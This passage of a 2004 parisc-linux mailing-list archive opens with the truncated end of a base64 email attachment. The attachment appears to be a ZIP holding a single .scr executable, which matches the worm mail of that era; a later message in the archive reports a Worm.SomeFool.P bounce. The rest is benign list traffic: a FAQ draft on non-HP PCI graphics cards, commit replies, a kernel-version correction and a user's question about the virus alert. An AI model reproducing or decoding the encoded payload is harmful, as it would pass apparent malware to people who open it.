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
AA==

----------xdaajvnxqspxkxlbtdqt--



From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Thu, 15 Apr 2004 03:04:10 +0100 (IST)
Lines: 81
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623376 8330 80.91.229.3 (22 Nov 2014 02:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:36 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: xam@cs.ucc.ie  Wed Apr 14 20:04:27 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE746497C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 20:04:26 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3F24J0o007958;
	Thu, 15 Apr 2004 03:04:19 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040414232833.GQ31873@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 02:04:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21425

On Wed, 14 Apr 2004, Randolph Chung wrote:

> > "What non-HP PCI graphic cards are supported/work with PA-RISC Linux"
>
> would you like to write up the entry and send it to the list?

Okay, it's not a patch/diff, it's not XHTML, but a start:


====
Q: Can I use a non-HP PCI graphic cards with PA-RISC Linux?

A: Depends on which graphics card you are using.

   Most graphics card have to be initialized by the computer
   before it can  be used. Usually this is done by the BIOS on (ix86-PCs),
   the PDC (on PA-RISC) or OpenFirmware (on Sun and MACs), which run a
   initialization programme stored on the graphics card.

   Unfortunately each of these ways is incompatible with each other, so
   you cannot initialize a PC graphics card using the PA-RISC PDC.
   Therefore the graphic card vendors produce different versions for
   each platform (e.g. ATI produces different 'Fire GL' graphics cards for
   PC, MAC and PA-RISC).

   This leads to the following problems:


   - PA-RISC PDC doesn't know how to use a non-HP graphics card

      Eg. you will not be able to use the boot menu with a non-HP graphics
      card.
      Unfortunately we are not able to provide a work-around for this
      problem, since this would require patching the PDC firmware.
      Therefore you have to use the serial console if you want access
      the boot menu.


   - You have to initialize a non-HP graphics card somehow


     1. Linux framebuffer driver
     ---------------------------
     Some graphic cards that can be initialized by the linux framebuffer
     drivers directly, and might work on PA-RISC Linux.
     This is an incomplete list:

       - Voodoo2
       - ATI Rage XL
       - older Matrox Millenium

     So far had success reports for the Voodoo2 and the ATI Rage XL card.
     In combination with the fbdev X-server from XFree86/X.org
     you should able to have a nice X11 desktop.



     2. XFree86/X.org driver
     -----------------------
     Another approach is to use the XFree86/X.org graphic card drivers:

     The XFree86/X.org server contains a small ix86-Emulator that is able
     to initialize some graphic cards on non-ix86 systems. However it
     is far from being perfect, so you shouldn't expect that it will
     work with your card.

     An advantage of this approach is that you would be able to use
     some advanced features of your graphics card, like 2D/3D
     acceleration, graphics overlay etc.

     Unfortunately we haven't heard any success stories from anyone using
     this aproach.
===


Any comments/corrections?


Greetings,
  Max


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 19:48:42 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040415024841.GA23831@tausq.org>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623376 8334 80.91.229.3 (22 Nov 2014 02:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:36 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: randolph@tausq.org  Wed Apr 14 20:39:25 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77BFF4B51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 20:39:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 09A1ACD2CF; Wed, 14 Apr 2004 19:48:42 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 02:39:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21426

In reference to a message from M. Grabert, dated Apr 15:
> On Wed, 14 Apr 2004, Randolph Chung wrote:
> 
> > > "What non-HP PCI graphic cards are supported/work with PA-RISC Linux"
> >
> > would you like to write up the entry and send it to the list?
> 
> Okay, it's not a patch/diff, it's not XHTML, but a start:

checked in, thanks.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <Soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Thu, 15 Apr 2004 09:05:41 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <40711E5500006381@ocpmta2.freegates.net>
References: <407DA495.1090009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623377 8339 80.91.229.3 (22 Nov 2014 02:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andy Walker" <ajwalker@broadpark.no>
Original-X-From: Soete.joel@tiscali.be  Thu Apr 15 01:05:45 2004
Return-Path: <Soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13ADC487A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 01:05:45 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BE0wR-0001Od-00; Thu, 15 Apr 2004 09:05:43 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 15 Apr 2004 09:05:41 +0200
In-Reply-To: <407DA495.1090009@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 07:05:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21427

>That said, thanks to viewcvs, cvs and some tbz I recover from my systems,
I >reach to rebuild on my b2k at the office:
>2.6.3-pa2 (runing simultaneoulsy 2 find on different linux tree, a 
> tar of one of those tree) survive :)
>2.6.4-rc1-pa3 same test: survive (so no pb with ccio-dma changes) :)
>but 2.6.4-rc4-pa6 died with same messages.

Sorry a typo: read 2.6.4-rc3-pa6 in place of rc4 :(

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Thu, 15 Apr 2004 09:48:11 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20040415154811.GA3514@colo.lackof.org>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623377 8343 80.91.229.3 (22 Nov 2014 02:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Thu Apr 15 09:48:13 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2D704829
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 09:48:12 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 38C84298038; Thu, 15 Apr 2004 09:48:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04142-02; Thu, 15 Apr 2004 09:48:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE398298036; Thu, 15 Apr 2004 09:48:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 15:48:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21428

On Thu, Apr 15, 2004 at 03:04:10AM +0100, M. Grabert wrote:
> Okay, it's not a patch/diff, it's not XHTML, but a start:

I've hacked it a bit and committed to CVS (repository "web").
Please submit patches against graphics-howto.x for further
modifications.

Please let me know if you are (a) ok with the "Artistic Commons License"
and (b) changes I made to the text.

thanks,
grant


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: CW-Praveen.Chand@taec.toshiba.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS (Worm.SomeFool.P) IN MAIL FROM YOU
Date: Thu, 15 Apr 2004 11:37:10 -0700
Lines: 141
Approved: news@gmane.org
Message-ID: <OFC8D43C33.8F67ABE6-ON88256E77.00661F8E-88256E77.0066351F@taec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=_alternative 0066351488256E77_="
X-Trace: ger.gmane.org 1416623377 8348 80.91.229.3 (22 Nov 2014 02:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: CW-Praveen.Chand@taec.toshiba.com  Thu Apr 15 12:36:29 2004
Return-Path: <CW-Praveen.Chand@taec.toshiba.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.taec.toshiba.com (mailhost.taec.com [209.243.128.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413BF4830
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 12:36:29 -0600 (MDT)
Original-Received: from hdqmta.taec.com (hdqmta.taec.com [209.243.180.59])
	by mailhost.taec.toshiba.com (8.12.7/8.12.7) with ESMTP id
	i3FIaPXo027171 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 11:36:26 -0700 (PDT)
X-Mailer: Lotus Notes Release 6.5 September 26, 2003
X-MIMETrack: Serialize by Router on HDQMTA/TOSHIBA_TAEC(Release 6.5|September
	26, 2003) at 04/15/2004 11:37:18 AM,
	Serialize complete at 04/15/2004 11:37:18 AM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 18:36:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21429

This is a multipart message in MIME format.
--=_alternative 0066351488256E77_=
Content-Type: text/plain; charset="US-ASCII"

Hi,

I have found this virus mail alert for one of the mails which I had never 
sent. The mail is attached below, please let me know what shall I do to 
remove it. Thanks.

Delivery Failure Report
Your document:
Re: website
was not delivered to:
office@dr-weber-partner.de
because:
550 5.7.1 Message content rejected, id=11443-09 - VIRUS: Worm.SomeFool.P

What should you do?
You can resend the undeliverable document to the recipients listed above 
by choosing the Resend button or the Resend command on the Actions menu. 
Once you have resent the document you may delete this Delivery Failure 
Report.
If resending the document is not successful you will receive a new failure 
report.
Unless you receive other Delivery Failure Reports, the document was 
successfully delivered to all other recipients.


